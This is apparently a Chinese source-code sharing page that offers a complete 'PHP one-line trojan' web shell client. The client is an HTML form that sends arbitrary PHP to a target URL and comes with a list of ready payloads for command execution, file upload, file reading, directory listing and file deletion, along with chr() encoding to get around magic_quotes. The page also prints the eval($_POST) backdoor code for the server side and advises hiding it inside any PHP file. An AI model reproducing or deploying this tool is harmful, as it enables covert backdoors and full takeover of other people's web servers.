PHP一句话木马客户端

PHP一句话木马客户端-完美源码

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>☆PHP微型木马客户端☆</title>
</head>
<style type="text/css">
<!--
a:visited {
	text-decoration: none;
	color: #FFFFFF;
}
a:hover {
	text-decoration: none;
}
a:active {
	text-decoration: none;
}
-->
</style></head>
<style>
BODY {	FONT-SIZE: 9pt;	COLOR: #000000;	FONT-FAMILY: "Courier New";	scrollbar-face-color:#E4E4F3;	scrollbar-highlight-color:#FFFFFF;	scrollbar-3dlight-color:#E4E4F3;	scrollbar-darkshadow-color:#9C9CD3;	scrollbar-shadow-color:#E4E4F3;	scrollbar-arrow-color:#4444B3;	scrollbar-track-color:#EFEFEF;}TABLE {	FONT-SIZE: 9pt;	FONT-FAMILY: "Courier New";	BORDER-COLLAPSE: collapse;	border-top-width: 1px;	border-right-width: 1px;	border-bottom-width: 1px;	border-left-width: 1px;	border-top-style: solid;	border-right-style: none;	border-bottom-style: none;	border-left-style: solid;	border-top-color: #d8d8f0;	border-right-color: #d8d8f0;	border-bottom-color: #d8d8f0;	border-left-color: #d8d8f0;}.tr {	font-family: "Courier New";	font-size: 9pt;	background-color: #e4e4f3;	text-align: center;}.td {	font-family: "Courier New";	font-size: 9pt;	background-color: #f9f9fd;}.warningColor {	font-family: "Courier New";	font-size: 9pt;	color: #ff0000;}input {font-family: "Courier New";
	BORDER-TOP-WIDTH: 1px;
	BORDER-LEFT-WIDTH: 1px;
	FONT-SIZE: 12px;
	BORDER-BOTTOM-WIDTH: 1px;
	BORDER-RIGHT-WIDTH: 1px;
	color: #000000;
}textarea {	font-family: "Courier New";	BORDER-TOP-WIDTH: 1px;	BORDER-LEFT-WIDTH: 1px;	FONT-SIZE: 12px;	BORDER-BOTTOM-WIDTH: 1px;	BORDER-RIGHT-WIDTH: 1px;	color: #000000;}.liuyes {
	background-color: #CCCCFF;
}
A:link {
	FONT-SIZE: 9pt;
	FONT-FAMILY: "Courier New";
	TEXT-DECORATION: none;
	color: #FFFFFF;
}tr {	font-family: "Courier New";	font-size: 9pt;	line-height: 18px;}td {	font-family: "Courier New";	font-size: 9pt;	border-top-width: 1px;	border-right-width: 1px;	border-bottom-width: 1px;	border-left-width: 1px;	border-top-style: none;	border-right-style: solid;	border-bottom-style: solid;	border-left-style: none;	border-top-color: #d8d8f0;	border-right-color: #d8d8f0;	border-bottom-color: #d8d8f0;	border-left-color: #d8d8f0;}.trHead {	font-family: "Courier New";	font-size: 9pt;	background-color: #e4e4f3;	line-height: 3px;}.inputLogin {	font-family: "Courier New";	font-size: 9pt;	border: 1px solid #d8d8f0;	background-color: #f9f9fd;	vertical-align: bottom;}.style2 {color: #003399}
.style3 {font-size: 10pt}
body,td,th {
	font-size: 10pt;
}
</style>
<body>
<table width="760" border="1" align="center">
  <tr>
    <td height="30" align="center"  bgcolor="#330066"><span class="style3"><font color="#FFFFFF"><a href="http://www.wmphp.com">PHP微型木马客户端--完美源码</a></font></span></td>
  </tr>
  <tr>
<td>
	<FORM ENCTYPE="multipart/form-data" name=frm method=post target=_blank>
  <p align="center">提交网址: 
    <INPUT                                                          
style="BORDER-RIGHT: 1px solid; BORDER-TOP: 1px solid; FONT-SIZE: 9pt; BORDER-LEFT: 1px solid; BORDER-BOTTOM: 1px solid" 
size=66 value=http:// name=act>
     Cmd: <INPUT                                                          
style="BORDER-RIGHT: 1px solid; BORDER-TOP: 1px solid; FONT-SIZE: 9pt; BORDER-LEFT: 1px solid; BORDER-BOTTOM: 1px solid" 
size=16 value=1 name=para>
      <BR><BR><font color="#CC0000">发送执行的主代码:</font><br>                  <INPUT style="BORDER-RIGHT: 1px solid; BORDER-TOP: 1px solid; FONT-SIZE: 9pt; BORDER-LEFT: 1px solid; BORDER-BOTTOM: 1px solid" onClick="if(tmpcmd.rows>1)tmpcmd.rows=tmpcmd.rows-5" type=button value=->            <TEXTAREA style="BORDER-RIGHT: 1px solid; BORDER-TOP: 1px solid; FONT-SIZE: 9pt; BORDER-LEFT: 1px solid; BORDER-BOTTOM: 1px solid" name=tmpcmd rows=3 cols=92>
echo copy($_FILES[LanKerF][tmp_name],$_FILES[LanKerF][name]);
</TEXTAREA>
    <input name="button2" type=button style="BORDER-RIGHT: 1px solid; BORDER-TOP: 1px solid; FONT-SIZE: 9pt; BORDER-LEFT: 1px solid; BORDER-BOTTOM: 1px solid" onClick=tmpcmd.rows=tmpcmd.rows+5 value=+>
    <br>                        
  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br>
  上传文件时需要此项:<input NAME="LanKerF" TYPE="file" style="BORDER-RIGHT: 1px solid; BORDER-TOP: 1px solid; FONT-SIZE: 9pt; BORDER-LEFT: 1px solid; BORDER-BOTTOM: 1px solid"                      
>
&nbsp;&nbsp;&nbsp;&nbsp;<font color="#CC0000"><INPUT style="BORDER-RIGHT: 1px solid; BORDER-TOP: 1px solid; FONT-SIZE: 9pt; BORDER-LEFT: 1px solid; BORDER-BOTTOM: 1px solid" onClick="Javascipt:frm.tmpcmd.name=frm.para.value;frm.action=document.all.act.value;frm.submit();frm.tmpcmd.name='tmpcmd'" type=button value="提 交" name=Send>                
  </font>    
</form>
	</td>
  </tr>
</table>
<br>
<table width="760" border="1" align="center">
  <tr bgcolor="#9999FF">
    <td align="center"><font color="#CC0000">常用执行代码及代码说明</font></td>
  </tr>
  <tr>
    <td align="center"><INPUT style="BORDER-RIGHT: 1px solid; BORDER-TOP: 1px solid; FONT-SIZE: 9pt; BORDER-LEFT: 1px solid; BORDER-BOTTOM: 1px solid" onClick="if(Attachment.rows>1)Attachment.rows=Attachment.rows-20" type=button value=->                                                         
 <TEXTAREA style="BORDER-RIGHT: 1px solid; BORDER-TOP: 1px solid; FONT-SIZE: 9pt; BORDER-LEFT: 1px solid; BORDER-BOTTOM: 1px solid" name=Attachment rows=6 cols=92>
//////////////////////////////////PHP环境变量//////////////////////////////

phpinfo();

//////////////////////////////////程序目录/////////////////////////////////

echo dirname(__FILE__); 或 echo __FILE__;

//////////////////////////////////执行CMD//////////////////////////////////

system(dir);  passthru(dir); //其他的自己可以模仿写

//////////////////////////////////上传文件/////////////////////////////////

echo copy($_FILES[LanKerF][tmp_name],$_FILES[LanKerF][name]);

//////////////////////////////////读取文件/////////////////////////////////

// $filename为文件名,需要绝对目录,而且在magic_quotes_gpc = on时需要转换字符
$filename= chr(73).chr(58).chr(92).chr(119).chr(119).chr(119).chr(114).chr(111).chr(111).chr(116).chr(92).chr(112).chr(104).chr(112).chr(116).chr(101).chr(115).chr(116).chr(92).chr(117).chr(112).chr(46).chr(112).chr(104).chr(112);
//$filename="i:\wwwroot\phptest\up.htm"
$s=chr(60).chr(112).chr(114).chr(101).chr(62);
$e=chr(60).chr(47).chr(112).chr(114).chr(101).chr(62);
$fp=@fopen($filename,r);
$contents=@fread($fp, filesize($filename));
@fclose($fp);
$contents=htmlspecialchars($contents);
echo $s.$contents.$e;

//////////////////////////////////读取目录//////////////////////////////////

//$dir 为目录名,需要绝对目录,而且在magic_quotes_gpc = on时需要转换字符
$dir=chr(73).chr(58).chr(92).chr(119).chr(119).chr(119).chr(114).chr(111).chr(111).chr(116).chr(92).chr(112).chr(104).chr(112).chr(116).chr(101).chr(115).chr(116);
//$dir="c:/"
$f = chr(60).chr(98).chr(114).chr(62);//分隔符
$dir=@dir($dir);
if($dir) 
{
  echo path_______.$dir->path.$f;
  while($entry=$dir->read())
	{
 echo ____.$entry.$f; 
  }
  $dir->close();
}
else
{echo 0;}

//////////////////////////////////复制文件///////////////////////////////

// 同上,当magic_quotes_gpc = on时,变量$a,$b需要字符转换。
//可以根据需要是否采用容错处理,成功时返回1
$a="i:/wwwroot/lanker/lk.txt";  //要复制的源文件
$b="i:/wwwroot/lanker.txt";   //复制后的文件路径及文件名
echo @copy($a,$b); 

//////////////////////////////////重命名文件//////////////////////////////

$a="i:/wwwroot/lk.txt";     //要改名的文件
$b="i:/wwwroot/lanker.txt"; //改名后的文件
echo @rename($a,$b);

//////////////////////////////////删除文件////////////////////////////////

$a="i:/wwwroot/lanker.txt";  //要删除的文件
echo @unlink($a);

//////////////////////////////////////////////////////////////////////////
</TEXTAREA>
 <input name="button" type=button style="BORDER-RIGHT: 1px solid; BORDER-TOP: 1px solid; FONT-SIZE: 9pt; BORDER-LEFT: 1px solid; BORDER-BOTTOM: 1px solid" onClick=Attachment.rows=Attachment.rows+20 value=+> &nbsp;</td>
  </tr>
</table>
<br>
<FORM name=frmasc>
<table width="760" border="0" align="center" cellpadding="0" cellspacing="0" style="font-size: 9pt; border-top-style: solid; border-top-width: 1px">
<tr bgcolor="#9999FF">
    <td height="16" colspan="2">
      <p align="center"><font color="#CC0000">字符转换工具</font></p> </td>
</tr>
 <tr>
    <td width="15%" align="center"> 
       要转换的字符:    </td>           
    <td width="85%"><INPUT style="BORDER-RIGHT: 1px solid; BORDER-TOP: 1px solid; FONT-SIZE: 9pt; BORDER-LEFT: 1px solid; BORDER-BOTTOM: 1px solid"   type=text name="inputstr" size=87 value="i:/wwwroot/"> 
    </td>
  </tr>
  <tr>
    <td width="15%" align="center"> 
      转换后的字符:   </td>            
    <td width="85%"><textarea style="BORDER-RIGHT: 1px solid; BORDER-TOP: 1px solid; FONT-SIZE: 9pt; BORDER-LEFT: 1px solid; BORDER-BOTTOM: 1px solid" rows="4" name="chrstr" cols="85"></textarea>                
    </td>
  </tr>
<tr align="center">
    <td height="16" colspan="2">
      <INPUT name=strtxtdd  type=button style="BORDER-RIGHT: 1px solid; BORDER-TOP: 1px solid; FONT-SIZE: 9pt; BORDER-LEFT: 1px solid; BORDER-BOTTOM: 1px solid" onClick="ascchar()"  value="转 换">
      (当php.ini中的magic_quotes_gpc = on时,必须进行字符转换)</td>
</tr>
</table>               
</form>
<table width="760" border="0" align="center" cellspacing="1" style="BORDER-RIGHT: 1px solid; BORDER-TOP: 1px solid; FONT-SIZE: 9pt; BORDER-LEFT: 1px solid; BORDER-BOTTOM: 1px solid" >
  <tr>
    <td width="100%"> PHP微型后门服务端代码为:<span class="warningColor">&lt;?php eval($_POST[1]);?&gt;</span><br>
      PHP微型后门服务端容错代码为:<span class="warningColor">&lt;?php @eval($_POST[1]);?&gt;</span><br>
      PHP微型后门服务端超简型代码为:<span class="warningColor">&lt;?eval($1);?&gt;</span><br>
    <p> 说明: 可以把服务端代码插入任意一PHP文件之中,隐蔽行比较好.但由于PHP语言本身的限制,特别是 magic_quotes_gpc = on 的时候限制,实现的功能也就大打折扣.但还好这个木马实现的一般功能已经基本上够用了.</p></td>
  </tr>
</table>
<script language="vbscript">                 
sub  ascchar()
str=document.frmasc.inputstr.value
str=trim(str)
for i = 1 to len(str)
strstr=mid(str,i,1)
strasc=strasc&"chr("&asc(strstr)&")."
next
estrasc=left(strasc,len(strasc)-1)
document.frmasc.chrstr.value = estrasc
end sub
</script>
</body>
</html> 


 

END
如本资源侵犯了您的权益,请联系投诉邮箱admin@wmphp.com进行举报!我们将在收到邮件的1个小时内处理完毕。 本站仅为平台,发布的资源均为用户投稿或转载!所有资源仅供参考学习使用,请在下载后的24小时内删除,禁止商用! Wmphp.com(完美源码)助力正版,如您有自己的原创产品,可以联系客服投稿,代理出售! Wmphp.com(完美源码)客服QQ:136882447 Wmphp.com(完美源码)商务电话(仅对企业客户/个人用户):15120086569 (微信同步) 请注意:本站不提供任何免费的技术咨询服务,为了节约时间,下载前 请确认自己会技术
完美源码 » PHP一句话木马客户端
3488+

本站勉强运行

3665+

用户总数

690+

资源总数

0+

今日更新

2024-4-8

最后更新时间